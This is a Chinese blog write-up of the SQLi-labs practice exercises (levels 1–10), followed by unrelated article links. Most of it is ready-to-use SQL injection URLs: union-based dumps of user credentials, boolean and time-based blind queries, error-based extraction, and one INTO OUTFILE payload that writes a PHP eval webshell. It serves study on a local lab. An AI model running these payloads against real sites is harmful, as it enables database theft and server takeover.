SQL Labs刷题补坑记录(less1-less10)
补坑加1,这几天快速刷一下sqllabs 来巩固下sql注入吧,感觉很多知识点还是不够熟练,do it!
第一部分:
LESS1:
直接报错,有回显的注入,
http://localhost/sqli-labs-master/Less-1/?id=1' order by 3--+
就可以确定字段然后使用union查询即可
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,3--+
接下来就是常规的查库:
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
查当前数据库
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,database()--+
查表
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查字段:
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
查数据:
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users--+
LESS2:
这个是数字型,不用加‘单引号,查数据套路和less1一样
确定字段数
http://localhost/sqli-labs-master/Less-2/?id=1 order by 3
LESS3:
闭合方式为’)
http://localhost/sqli-labs-master/Less-3/?id=1') order by 3--+
确定字段后union查询即可
LESS4:
闭合方式为“)
确定字段后union查询即可
http://localhost/sqli-labs-master/Less-4/?id=1") order by 3-- +
LESS5:
这关sql语句正确与否不再返回数据,只返回you are in或者错误提示,因此是盲注
正确情况下,有数据:
http://localhost/sqli-labs-master/Less-5/?id=-1' or left(user(),1)="r"--+
正确情况下,无数据:
http://localhost/sqli-labs-master/Less-5/?id=-1' or 0--+
sql语句直接错误:
http://localhost/sqli-labs-master/Less-5/?id=-1‘
所以对应三种情况,我们只需要关心前两种即可进行基于时间的盲注和基于布尔的盲注,错误时可以基于报错的盲注:
基于bool:
判断当前库:
http://localhost/sqli-labs-master/Less-5/?id=-1' or 1=(left((select database()),1)='s')--+
用left,依次判断即可,left(str,2)="se",left(str,3)="sec",或者用right函数是一样的含义,从右开始截取
判断库中表:
http://localhost/sqli-labs-master/Less-5/?id=-1' or 1=(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='s')--+
放在burp中秒出第一位为字母e,其它同,只需要更换limit即可,limit 0,1表示从下标为0取一条数据
这里需要截取字符串,那么除了left,还可以用substr+ascii
http://localhost/sqli-labs-master/Less-5/?id=-1' or 1=(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=1)--+
或者用mid加ord,与substr+ascii是一模一样的效果
http://localhost/sqli-labs-master/Less-5/?id=-1' or 1=(ord(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=1)--+
但是上面的字符串截取函数都需要用到,逗号,要是逗号用不了则需要考虑用正则匹配:
regexp:
查库
http://localhost/sqli-labs-master/Less-5/?id=-1' or 1=(select database() regexp '^s')--+
查数据时这样用:
http://localhost/sqli-labs-master/Less-5/?id=-1' or 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^r')--+
构造一个where链接,那么此时就会用所有的表名来与正则进行匹配,从而得到所有的表明,不需要用到逗号。
或者用like 来进行正则匹配也可以:
http://localhost/sqli-labs-master/Less-5/?id=-1' or 1=(select 1 from information_schema.tables where table_schema='security' and table_name like 'r%')--+
当然除了从^以开头来匹配,也可以使用$从后开始判断。
当然这里是因为前端回显了两种有无数据的情况,要是执行了语句不回显,那可以用到延时注入:
延时注入,肯定要用到逻辑判断条件体,比如 if
这里只要结合到上面布尔盲注中截取字符串所获得的逻辑判断条件来构成if的条件即可
例子:
http://localhost/sqli-labs-master/Less-5/?id=-1' or if(1=1,sleep(3),sleep(5))--+
只要将1=1切换成其它逻辑条件即可
报错注入:
因为这里sql语句错误时直接报错,所以可以通过报错带出数据库中的信息:
- BigInt等数据类型溢出
- xpath语法错误
- count()+rand()+group_by()导致逐渐重复
- 空间数据类型函数错误
例子1:
select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2));
但是这里用到了系统表,当系统表被过滤时,可以用:
当然from 后面的a表只要字段数大于2即可,因此也可以这样:
报错注入时每次只能有一行一列数据,所以dump数据时要和limit相结合:
当然这里要用到union联合,因为这里相当于把数据回显到前端来,因此必须dump出来字段和原来sql语句中字段数是相等的,因此还是得先判断原来的表有多少列,这里dump表和列还是得用到系统表,除非表和列名已知
http://localhost/sqli-labs-master/Less-5/?id=-1' union select 1,2,count(*) from (select 1 union select 2 union select 3)a group by concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))--+
利用 double 数值类型超出范围进行报错注入
http://localhost/sqli-labs-master/Less-5/?id=-1' union select 1,2,(exp(~(select * from (select user())a)))--+
这里因为版本mysql版本原因不再演示,exp就是e的多少次,超过709会溢出报错,所以来带出数据。
接下来还有bigint型注入
union select !(select * from (select user())a)-~0
还有xpath型注入:
主要与两个函数相关,义格式updatexml,一个是extractvalue,区别是updatexml有三个参数,extractvalue只需要有两个参数即可。
http://localhost/sqli-labs-master/Less-5/?id=1' union select 1,2,(extractvalue(1,concat(0x7e,(select user()),0x7e)))--+
查数据
http://localhost/sqli-labs-master/Less-5/?id=1' union select 1,2,(extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e)))--+
http://localhost/sqli-labs-master/Less-5/?id=1' union select 1,2,(updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1))--+
这里extractvalue和updatexml带出的数据都有长度限制,因此结合字符串截取函数mid或者substr来依次截取即可:
http://localhost/sqli-labs-master/Less-5/?id=1' union select 1,2,(updatexml(1,concat(0x7e,mid((select group_concat(username) from users),2,10),0x7e),1))--+
如果这里concat用不了的话还可以用其他的字符串连接函数来代替,用字符串连接函数查出的数据更完整
reverse()
make_set()
如果不用concat连接的话如下图:
或者利用name_const数据重复性:
http://localhost/sqli-labs-master/Less-5/?id=1' union select 1,2,3 from (select name_const(version(),1),name_const(version(),1))x--+
但是这种方法貌似dump不出来其它数据,其它报错的函数现查就可以,没必要全部记住,贴一个报错函数链接
http://www.zhutougg.com/2017/01/16/mysqlshu-ju-ku-de-12chong-bao-cuo-zhu-ru/
Less-6
http://localhost/sqli-labs-master/Less-6/?id=-1" or 1--+
这一关和第五关一样,也是盲注,闭合括号的方式变了。
Less-7
http://localhost/sqli-labs-master/Less-7/?id=-1')) union select 1,2,'<?php @eval($_GET[1]); ?>' into outfile "G:\\ww.php"-- +
直接写入一句话即可
Less-8
http://localhost/sqli-labs-master/Less-8/?id=-1' or 1=0--+
直接盲注即可,没有报错信息,不能报错盲注,只能布尔或者延时
http://localhost/sqli-labs-master/Less-8/?id=-1' or if(1=0,1,0)--+
用延时函数sleep不一定要用if,比如:
Less-9
这一关无论怎么闭合回显都是一样的,因此布尔盲注肯定不行了,报错也不行,那么尝试延时注入
localhost/sqli-labs-master/Less-9/?id=1' or sleep(5)--+ 即可
Less-10
localhost/sqli-labs-master/Less-10/?id=1" or sleep(5)--+
方法和9一样,闭合变成了双引号。
原文地址:https://www.cnblogs.com/wfzWebSecuity/p/11285759.html
- 如何用SQL命令行工具删除dedecms指定id文章
- 怎么采集dedecms自定义内容模型
- dedecms怎样调用指定id文章?
- c++ list, vector, map, set 区别与用法比较
- 前台开发从头说起:谈谈CSS选择符
- dedecms无法登录提示本页面禁止返回
- 前台开发从头说起:理解css盒模型
- 两个js冲突怎么解决?试试这四个方法
- dedecms如何去除后台登陆验证码
- DEDECMS自定义表单unix时间戳转换成常规时间方法及增加表单添加时间方法
- dedecms自定义表单发布成功后返回当前页面
- 前端构建工具 Gulp.js 上手实例
- dedecms数据库内容替换安全确认码不显示怎么解决
- 利用宏避免发送确认邮件时忘记添加附件
- MySQL 教程
- MySQL 安装
- MySQL 管理与配置
- MySQL PHP 语法
- MySQL 连接
- MySQL 创建数据库
- MySQL 删除数据库
- MySQL 选择数据库
- MySQL 数据类型
- MySQL 创建数据表
- MySQL 删除数据表
- MySQL 插入数据
- MySQL 查询数据
- MySQL where 子句
- MySQL UPDATE 查询
- MySQL DELETE 语句
- MySQL LIKE 子句
- mysql order by
- Mysql Join的使用
- MySQL NULL 值处理
- MySQL 正则表达式
- MySQL 事务
- MySQL ALTER命令
- MySQL 索引
- MySQL 临时表
- MySQL 复制表
- 查看MySQL 元数据
- MySQL 序列 AUTO_INCREMENT
- MySQL 处理重复数据
- MySQL 及 SQL 注入
- MySQL 导出数据
- MySQL 导入数据
- MYSQL 函数大全
- MySQL Group By 实例讲解
- MySQL Max()函数实例讲解
- mysql count函数实例
- MYSQL UNION和UNION ALL实例
- MySQL IN 用法
- MySQL between and 实例讲解
- [888]python内置函数vars()|dir()|locals()
- Mdnice,一种记录知识的新方式
- [887]python中@classmethod和@staticmethod
- leetcode每日一题-99. 恢复二叉搜索树
- Java 两个经纬度获取方位
- 使用Python实现基本初等函数可视化
- 递归回溯--复原IP地址
- 通过 generic-webhook-trigger 插件实时获取 Bitbucket Repository Events
- 初识TypeScript:查找指定路径下的文件按类型生成json
- Xamarin Forms WPF 干掉默认的窗口导航条
- WPF 从零手动创建承载 Xamarin Forms 项目
- 帝都房价回调?带你用Python了解北京二手房市场现状
- Zabbix 利用 ncat 监控远端端口状态
- MySQL“被动”性能优化汇总!
- H3C WA2610i-GN 无线AP FAT 配置案例